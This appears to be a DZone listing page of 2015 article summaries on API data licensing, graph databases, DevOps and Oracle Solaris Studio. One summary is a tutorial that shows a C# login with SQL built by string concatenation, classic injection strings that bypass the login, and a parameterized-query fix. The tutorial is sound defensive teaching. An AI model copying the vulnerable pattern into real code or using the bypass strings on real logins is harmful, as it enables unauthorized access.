Through my work on API Evangelist, and heavy reliance on Github, I have a pretty good handle on the licensing of code involved with APIs--I recommend following Githubs advice. Also derived from my work on the Oracle v Google copyright case, and the creation of API Commons, I have a solid handle on licensing of API interfaces. One area I am currently deficient, and is something that has long been on my todo list, is establishing a clear stance on how to license data served up via APIs. My goal is to eventually craft a static page, that helps API providers, and consumers, better understand licensing for the entire stack, from database, to server, the API definition, all the way to the client. I rely on the Open Data Commons, for three licensing options for open data: Public Domain Dedication and License (PDDL) — The PDDL places the data(base) in the public domain (waiving all rights). Attribution License (ODC-By) — You are free to share, create, and adapt, as long as you attribute the data source. Open Database License (ODC-ODbL) — You are free to share, create, and adapt, as long as you attribute the data source, share-aloe, and keep open. I am adding these three licensing options to my politics of APIs research, and will work to publish a single research project that provides guidance in not just licensing of data served up through APIs, but also addresses code, definitions, schemas, and more. The guidance from Open Data Commons is meant for data owners who are looking to license their data before making available via an API, if you are working with an existing dataset, makes sure and consult the data source on licensing restrictions--making sure to carry these forward as you do any additional work.
June 30, 2015
by Kin Lane
· 901 Views
article thumbnail
Using Parameterized Query to Avoid SQL Injection
introduction to explain why you have to use parameterized query to avoid sql injection over concatenated inline query it needs to know about sql injection. what does sql injection mean? it means when any end user send some invalid inputs to perform any crud operation or forcibly execute the wrong query into the database, those can be harmful for the database. harmful means ‘data loss’ or ‘get the data with invalid inputs. to know more, follow the below steps. step 1: create a table named ‘login’ in any database. create table user_login ( userid varchar(20), pwd varchar(20) ) now save some user credentials into the database for login purpose and select the table. insert into user_login values('rahul','bansal@123') insert into user_login values('bansal','rahul@123') step 2: create a website named ‘website1’. now i will create a login page named ‘default.aspx’ to validate the credentials from the ‘login’ table and if user is valid then redirect to it to the next page named ‘home.aspx’. add 2 textboxes for userid & password respectively and a button for login. add 2 namespaces in the .cs file of the ‘default.aspx’. using system.data.sqlclient; using system.data; now add the following code to validate the credentials from the database on click event of login button. protected void btn_login_click(object sender, eventargs e) { string constr = system.configuration.configurationmanager.connectionstrings["constr"].connectionstring; sqlconnection con = new sqlconnection(constr); string sql = "select count(userid) from user_login where userid='" + txtuserid.text + "' and pwd='" + txtpwd.text + "'"; sqlcommand cmd = new sqlcommand(sql, con); con.open(); object res = cmd.executescalar(); con.close(); if (convert.toint32(res) > 0) response.redirect("home.aspx"); else { response.write("invalid credentials"); return; } } add a new page named ‘home.aspx’. where any valid user will get welcome message. step 3: now run the ‘default’ page and log in with valid credentials. it will redirect to next page ‘home.aspx’ for valid user. note: here i have not used the textmode="password" property in password textbox to show the password. i have not used any input validations to explain my example. problem: now i will perform the sql injection with some invalid credentials with successful query execution and after that i will redirect to the next page ‘home.aspx’ as a valid user. i will enter a string in both textboxes like the following: ‘ or ‘1’=’1 now run the page and login with above string in both textboxes. it will redirect to next page name ‘home.aspx’ for valid user. see what happened. this is called sql injection in the hacking world. reason: it happened just because of the string and after filling this string in both textboxes orur sql query became like the following: select count(userid) from user_login where userid='' or '1'='1' and pwd='' or '1'='1' which will give the userid count and that is 2 in the table because 2 users are in ‘user_login’ table. it can be used in more ways like just fill the following string only in user id textbox and you will go the next page as valid user. or 1=1 - - and it will also give users count 2 because sqlquery will become like the following: select count(userid) from user_login where userid='' or 1=1 --' and pwd='' or '1'='1' note: the sign -- are for commenting the preceding text in sql. it can be more harmful or dangerous when the invalid user/hacker executes a script to drop all tables in the database or drop whole database. solution: to resolve this issue you have to do 2 things: always use parameterized query. input validations on client and server both side. sometimes if your input validation fail, then parameterized will not execute any scripted value. let’s see the example. protected void btn_login_click(object sender, eventargs e) { string constr = system.configuration.configurationmanager.connectionstrings["constr"].connectionstring; sqlconnection con = new sqlconnection(constr); string sql = "select count(userid) from user_login where userid=@userid and pwd=@pwd"; sqlcommand cmd = new sqlcommand(sql, con); sqlparameter[] param = new sqlparameter[2]; param[0] = new sqlparameter("@userid", txtuserid.text); param[1] = new sqlparameter("@pwd", txtpwd.text); cmd.parameters.add(param[0]); cmd.parameters.add(param[1]); con.open(); object res = cmd.executescalar(); con.close(); if (convert.toint32(res) > 0) response.redirect("home.aspx"); else { response.write("invalid credentials"); return; } } now if i run the page and try to login with sql scripts as done earlier. with ‘ or ‘1’=’1 with ' or 1=1 - - as you have seen parameterized didn’t execute the sql script but why? reason: the reason behind this the parameterized query would not be vulnerable and would instead look for a user id or password which literally matched the entire string. in other words ‘the sql engine checks each parameter to ensure that it is correct for its column and are treated literally, and not as part of the sql to be executed’. conclusion: always use parameterized query and input validations on client and server both side.
June 30, 2015
by Rahul Bansal
· 11,883 Views
article thumbnail
The Secret to More Efficient Data Science with Neo4j and R [OSCON Preview]
It’s a sad but true fact: Most data scientists spend 50-80% of their time cleaning and munging data and only a fraction of their time actually building predictive models. This is most often true in a traditional stack, where most of this data munging consists of writing lines upon lines of some flavor of SQL, leaving little time for model-building code in statistical programming languages such as R. These long, cryptic SQL queries not only slow development time but also prevent useful collaboration on analytics projects, as contributors struggle to understand each others’ SQL code. For example, in graduate school, I was on a project team where we used Oracle to store Twitter data. The kinds of queries my classmates and I were writing were unmaintainable and impossible to understand unless the author was sitting next to you. No one worked on the same queries together because they were so unwieldy. This not only hindered our collaboration efforts but also slowed our progress on the project. If we had been using an appropriate data store (like a graph database) we would have spent significantly less time pulling our hair out over the queries. Why Today’s Data Is Different This data-munging problem has persisted in the data science field because data is becoming increasingly social and highly-connected. Forcing this kind of interconnected data into an inherently tabular SQL database, where relationships are only abstract, leads to complicated schemas and overly complex queries. Yet, several NoSQL solutions – specifically in the graph database space – exist to store today’s highly-connected data. That is, data where relationships matter. A lot of data analysis today is performed in the context of better understanding people’s behavior or needs, such as: How likely is this visitor to click on advertisement X? Which products should I recommend to this user? How are User A and User B connected? Written by Nicole White People, as we know, are inherently social, so most of these questions can be answered by understanding the connections between people: User A is similar to User B, and we already know that User B likes this product, so let’s recommend this product to User A. The Good News: Data-Munging No More Data science doesn’t have to be 80% data munging. With the appropriate technology stack, a data scientist’s development process is seamless and short. It’s time to spend less time writing queries and more time building models by combining the flexibility of an open-source, NoSQL graph database with the maturity and breadth of R – an open-source statistical programming language. The combination of Neo4j’s ability to store highly-connected, possibly-unstructured data and R’s functional, ad-hoc nature creates the ideal data analysis environment. You don’t have to spend an hour writing CREATE TABLE statements. You don’t have to spend all day on StackOverflow figuring out how to traverse a tree in SQL. Just Cypher and go. Learn More at OSCON 2015 At my upcoming OSCON session we will walk through a project in which we analyze #OSCON Twitter data in a reproducible, low-effort workflow without writing a single line of SQL. For this highly-connected dataset we will use Neo4j, an open-source graph database, to store and query the data while highlighting the advantages of storing such data in a graph versus a relational schema. Finally, we will cover how to connect to Neo4j from an R environment for the purposes of performing common data science tasks, such as analysis, prediction and visualization.
June 30, 2015
by Mark Needham
· 1,710 Views
article thumbnail
Sync issues with your codes on GitHub
It’s no surprise that many if not all programmers use GitHub today to store their codes, but it can be frustrating to keep everyone up to date with the code changes. Recently, GitHub has been integrated with Quire, a tree-structured task management tool that lets programmers to easily keep track of code changes. By linking GitHub commits to the so-called tasks (issues), users can refer to these tasks when they look at code changes, and also trace back to the codes when they look at the tasks. In a blog article, Quire goes into a bit more detail about their new integration and what exactly users can do and benefit from it. Check out the details at the link below. Hello GitHub, We’re Quire | Quire Blog
June 30, 2015
by Crystal Chen
· 893 Views
article thumbnail
Bharath Gowda Focuses on Business Success with DevOps—In CIOReview
“Companies report incredible benefits by adopting a DevOps approach: faster delivery of software, fewer defects, faster resolution of problems, and better allocation of limited IT resources. If your organization has already adopted a DevOps approach, you’re on the right track to developing and deploying software faster and better than ever. “But that’s not the end of the story nor should it be the ultimate driver behind DevOps. To really succeed with a DevOps approach, you need to think about what faster and better software actually means for the business and the all-important bottom line. You must make the connection between your DevOps approach and goals and their impact on your business’ goals. To do this, you must link and balance the goals of faster (speed of delivery), better software (high performing, quality software that delivers a good customer experience) to goals for innovation and business success.” Bharath Gowda in CIOReview’s DevOps Special Edition So begins New Relic director of market leadership Bharath Gowda’s recent article inCIOReview’s new DevOps Special Edition, which features insights from a number of DevOps thought leaders. In an article titled Keep the Focus on the Business to Succeed with DevOps, Bharath makes the point that faster and better software development is only the beginning for DevOps. To extract the most value from the DevOps approach, he says, “you need to think about what faster and better software actually means for the business and the all-important bottom line.” The problem, Bharath warns, is that “working better, smarter, and faster isn’t quite enough to drive business success.” Application performance and customer experience are necessary but not sufficient factors to ensure business success, as measured by revenue, customer adoption, retention, customer satisfaction, and so on. DevOps packs its biggest punch when used to enable rapid innovation driven by business outcomes. DevOps drivers and metrics With that in mind, Bharath names four key drivers for DevOps implementations: Speed Innovation/business success Customer experience Application performance In the CIOReview article, Bharath offers a helpful framework for measuring each driver, along with suggested resource allocations for each one. He notes that unlike traditional waterfall development processes, DevOps’ iterative, data-driven approach allows for the ongoing insights needed to be a better software business. That’s critical, because these days, every business is a software business. Read Bharath’s whole article here!
June 29, 2015
by Fredric Paul
· 1,912 Views
article thumbnail
Interview: Ikroop Dhillon on Oracle Solaris Studio
This article was originally published on 6/29/15 For developers coding in c/c++, NetBeans IDE provides a c/c++ bundle of its set of tools. However, the NetBeans c/c++ toolset is the application platform for Oracle Studio IDE, which provides a set of features that extend the NetBeans c/c++ toolset. In this interview, we meet Ikroop Dhillon, who is the principal product manager of Oracle Solaris studio. She tells us about herself and about the Oracle Solaris studio. Speaking with the True Professionals Anytime we set up an interview with someone in space, we always want to ensure that they are someone with something interesting to say. Believe it or not, that is not always as easy to find as you might imagine. This is why we were so thrilled when we heard back from Ikroop Dhillon about our interview request. Dhillon is a great person to speak with about these matters because she is a product manager at Oracle Solaris Studio, and she has overseen countless projects in her time there. Not only that, but we find her insights and information to literally be second to none. It was our greatest pleasure to get to speak with her. As someone with a background in computer science, Dhillon is exactly the kind of person that is up-to-date and knowledgeable about the inner workings of computers and all of the latest updates in the industry. She has been continuously learning about how various processes work and what the latest updates are in the world of computers. Thus, it is with great pleasure that we were able to meet up with her and go over the latest as it was developing all around us. What we wanted to cover included topics that have not often been discussed by other teams of interviewers before. We knew that Ikroop Dhillon would provide us with the time that we needed to start getting some answers from her about what all of these changes might mean for the brave new world that we are all entering at this time. It has been an interesting and challenging time, to say the least, and we can all stand to learn something from those who are tracking the developments as they happen day by day. Dhillon is exactly the kind of person you want in your corner if that is your mission, and that is why we spent such a lengthy amount of time speaking with her at this time. We hope that you gain some useful insights from our conversation. We certainly picked up a lot of information that we wouldn’t otherwise have had access to. Hi Ikroop, thanks for taking the interview. Can you tell us a bit about who you are and what you do? Hi! Thanks for chatting with me today. I am the principal product manager for oracle Solaris studio, and I focus on business development, product strategy, and go-to-market plans. How and when did you get involved with oracle Solaris studio? I have an educational background in computer science and was a technical marketing engineer at Intel prior to joining oracle. I have always had an interest in application development and started product management of oracle Solaris studio development tools about seven years ago. What are the key aims of oracle Solaris studio? Oracle Solaris studio is an advanced c, c++, and Fortran development environment. It runs on both Oracle Solaris and Oracle Linux operating systems, and with remote development support, developers can build, debug, analyze and optimize applications from virtually any laptop or desktop environment. Oracle Solaris studio delivers a complete and comprehensive tool suite aimed at simplifying the development of high-performance, secure, reliable, and robust enterprise applications. So, it doesn't run on windows? If you go to the oracle Solaris studio download page, then you'll see downloads for Linux and Solaris. http://www.oracle.com/technetwork/server-storage/solarisstudio/downloads/index-jsp-141149.html but a tar file can be downloaded as well, and on any java-aware oses, the user can run GUI tools in "remote mode": https://blogs.oracle.com/d/entry/using_the_solaris_studio_ide What do you consider to be the most awesome and unique features of oracle Solaris studio? Oracle Solaris studio contains some very powerful application analysis tools. The oracle Solaris studio performance analyzer helps you optimize your application by enabling you to easily identify and fix performance bottlenecks. It has an intuitive and easy-to-use interface that allows you to visualize performance data from various angles and easily drill down and isolate performance issues. The code analyzer is another great component of oracle Solaris studio that helps you protect your application from memory access issues, including memory leaks. In addition to the analysis tools, Oracle Solaris studio also has an award-winning IDE. Based on the NetBeans platform. The IDE is specifically geared for c/c++ developers and is optimized to handle large enterprise applications very well. We focus on making sure that the IDE has a low memory footprint when handling large applications and fast response times. Under what conditions should oracle Solaris studio be used instead of the c/c++ tools that come with NetBeans IDE? Oracle Solaris studio delivers advanced performance, memory, and thread analysis tools in addition to those provided by NetBeans IDE. These powerful analysis tools help optimize application performance and improve software reliability and quality. In addition, Oracle Solaris studio delivers highly optimized c, c++, and Fortran compilers and performance libraries for compute-intensive applications. If you are looking for a complete and comprehensive c/c++ and Fortran development tool suite, it is recommended that you use Oracle Solaris studio. What kinds of customers are using Oracle Solaris studio, and what are they doing with it? Our customers include leading companies in finance, telecommunications, and defense. We also work closely with top oracle ISVs and partners. Our customers rely on oracle Solaris studio for the development of their mission-critical enterprise applications, and most Oracle applications are built using Oracle Solaris studio. Can you tell us a bit about the social media and related sites that are important for those using Oracle Solaris studio? The oracle technology network contains the product download (oracle Solaris studio free to use in production) and learning resources, including technical articles, whitepapers, and how-to videos: http://www.oracle.com/technetwork/server-storage/solarisstudio/overview/index.html The oracle.com site includes the datasheet, product briefs, and customer quotes: oracle.com/goto/solarisstudio You can also follow us on Facebook or Twitter for product and content updates: https://www.facebook.com/oraclesolarisstudio https://twitter.com/solarisstudio Anything else you'd like to share with the NetBeans community? I just recorded some videos that highlight some important features of oracle Solaris studio. The oracle Solaris studio performance analyzer also supports java and does a terrific job of optimizing java application performance. It is quite useful if you have a mixed c/c++ and java application.
June 29, 2015
by Geertjan Wielenga
· 3,233 Views
  • Previous
  • ...
  • 1476
  • 1477
  • 1478
  • 1479
  • 1480
  • 1481
  • 1482
  • 1483
  • 1484
  • 1485
  • ...
  • Next
  • RSS
  • X
  • Facebook

ABOUT US

  • About DZone
  • Support and feedback
  • Community research

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 215
  • Nashville, TN 37211
  • [email protected]

Let's be friends:

  • RSS
  • X
  • Facebook
×